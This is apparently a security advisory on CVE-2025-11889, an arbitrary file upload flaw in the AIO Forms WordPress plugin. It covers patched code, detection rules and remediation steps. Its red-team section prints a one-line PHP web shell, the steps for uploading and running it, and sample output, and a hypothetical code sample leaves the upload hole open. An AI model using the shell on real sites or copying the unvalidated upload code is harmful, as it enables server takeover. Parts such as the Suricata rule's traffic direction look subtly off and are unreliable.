CVE-2025-11889

Executive Summary

CVE-2025-11889 is a critical arbitrary file upload vulnerability in the AIO Forms – Craft Complex Forms Easily WordPress plugin, affecting all versions up to and including 1.3.18. The vulnerability resides in the plugin's import functionality, which fails to validate file types before processing. This allows authenticated attackers with Administrator-level access to upload arbitrary files (e.g., PHP web shells) to the server, potentially leading to remote code execution (RCE). Given the high privileges required, the CVSS score is 7.2 (High), but the impact is severe as a compromised admin account can lead to full site takeover.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. No official patch has been released as of this analysis. Organizations should treat this as a supply chain risk and consider removing the plugin until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): High – Requires Administrator-level access.
• User Interaction (UI): None – No user action needed.
• Scope (S): Unchanged – The vulnerable component is the plugin itself.
• Confidentiality (C): High – Full file read access possible.
• Integrity (I): High – Arbitrary file upload can modify site files.
• Availability (A): High – RCE can lead to denial of service.

Threat Level: High. While the attack requires admin credentials, the potential for complete server compromise makes this a critical risk for any WordPress site using the plugin.

Deep Dive & Mechanics

The vulnerability exists in the import functionality of the AIO Forms plugin. The plugin allows administrators to import form configurations and data via a file upload mechanism. The code responsible for handling file uploads does not perform adequate validation of the uploaded file's MIME type or extension. As a result, an attacker can upload a file with a .php extension (or other executable extensions) instead of the expected .json or .csv format.

The upload process likely uses PHP's move_uploaded_file() function without checking the file extension against a whitelist. Once the malicious file is uploaded to the WordPress uploads directory (e.g., /wp-content/uploads/), the attacker can access it directly via a web request, triggering execution of the PHP code.

Key vulnerable code path (hypothetical):

// Vulnerable: No file type validation
$uploaded_file = $_FILES['import_file'];
$target_path = WP_CONTENT_DIR . '/uploads/aio-forms/' . $uploaded_file['name'];
move_uploaded_file($uploaded_file['tmp_name'], $target_path);

Attack flow:

1. Attacker logs in as an administrator.
2. Navigates to the AIO Forms import page.
3. Uploads a PHP web shell disguised as a legitimate import file.
4. Accesses the uploaded file via its URL to execute commands.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a recommended fix:

Vulnerable Code (hypothetical):

function import_form_data() {
    if (isset($_FILES['import_file'])) {
        $file = $_FILES['import_file'];
        $upload_dir = wp_upload_dir();
        $target = $upload_dir['basedir'] . '/aio-forms/' . basename($file['name']);
        move_uploaded_file($file['tmp_name'], $target);
        // Process file...
    }
}

Patched Code (recommended):

function import_form_data() {
    if (isset($_FILES['import_file'])) {
        $file = $_FILES['import_file'];
        $allowed_types = array('application/json', 'text/csv', 'text/plain');
        $file_type = mime_content_type($file['tmp_name']);
        
        if (!in_array($file_type, $allowed_types)) {
            wp_die('Invalid file type.');
        }
        
        $upload_dir = wp_upload_dir();
        $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
        if (!in_array($ext, array('json', 'csv', 'txt'))) {
            wp_die('Invalid file extension.');
        }
        
        $target = $upload_dir['basedir'] . '/aio-forms/' . uniqid() . '.' . $ext;
        move_uploaded_file($file['tmp_name'], $target);
        // Process file...
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress site with AIO Forms plugin <= 1.3.18
• Administrator credentials (obtained via phishing, credential stuffing, etc.)

Exploitation Steps:

1. Prepare a PHP web shell (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Log in to WordPress as admin.
3. Navigate to AIO Forms import page (typically /wp-admin/admin.php?page=aio-forms-import).
4. Upload the shell.php file as the import file.
5. Access the uploaded file at /wp-content/uploads/aio-forms/shell.php?cmd=id.

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defensive)

Detection Steps:

1. Monitor file uploads to the /wp-content/uploads/aio-forms/ directory.
2. Alert on any file with .php, .phtml, .php5, or other executable extensions.
3. Review admin account activity for unusual login times or IP addresses.
4. Check for recently created admin accounts.

Hunting Queries:

• Search for files in wp-content/uploads/aio-forms/ with non-standard extensions.
• Look for HTTP requests to /wp-content/uploads/aio-forms/*.php in web server logs.

Indicators of Compromise (IOCs)

• File Paths:
  • /wp-content/uploads/aio-forms/*.php
  • /wp-content/uploads/aio-forms/*.phtml
• Network Traffic:
  • POST requests to /wp-admin/admin.php?page=aio-forms-import with file uploads.
  • GET requests to /wp-content/uploads/aio-forms/*.php?cmd=...
• Log Entries:
  • WordPress debug log entries showing file upload errors.
  • Web server access logs with unusual file extensions in the uploads directory.
• System Artifacts:
  • Unexpected PHP files in the uploads directory.
  • New admin users created after the upload.

Detection Engineering

YARA Rule

rule CVE_2025_11889_AIO_Forms_Upload {
    meta:
        description = "Detects malicious PHP files uploaded via AIO Forms plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11889"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $exec_call = "exec("
        $shell_exec = "shell_exec("
        $upload_path = "/wp-content/uploads/aio-forms/"
    condition:
        $php_tag and ($system_call or $exec_call or $shell_exec) and $upload_path
}

Sigma Rule

title: AIO Forms Arbitrary File Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file uploads to AIO Forms upload directory with executable extensions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin.php'
        cs-uri-query: 'page=aio-forms-import'
    condition: selection
fields:
    - c-ip
    - cs-username
    - cs-uri-query
falsepositives:
    - Legitimate admin importing JSON/CSV files
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11889 AIO Forms File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=aio-forms-import"; http_uri; content:".php"; file_data; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Review admin accounts and remove any suspicious users.
3. Scan the server for unauthorized files in /wp-content/uploads/aio-forms/.
4. Change all admin passwords and enable two-factor authentication.

Long-term Fixes:

1. Apply the recommended code patch (see Vulnerable vs. Patched Code section).
2. Implement a Web Application Firewall (WAF) rule to block file uploads with executable extensions.
3. Restrict file upload permissions to only necessary directories.
4. Monitor for plugin updates from the vendor.

Workarounds:

• Use .htaccess to block execution of PHP files in the uploads directory:

  <FilesMatch "\.php$">
      Deny from all
  </FilesMatch>
  

• Remove write permissions from the uploads directory for the web server user.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert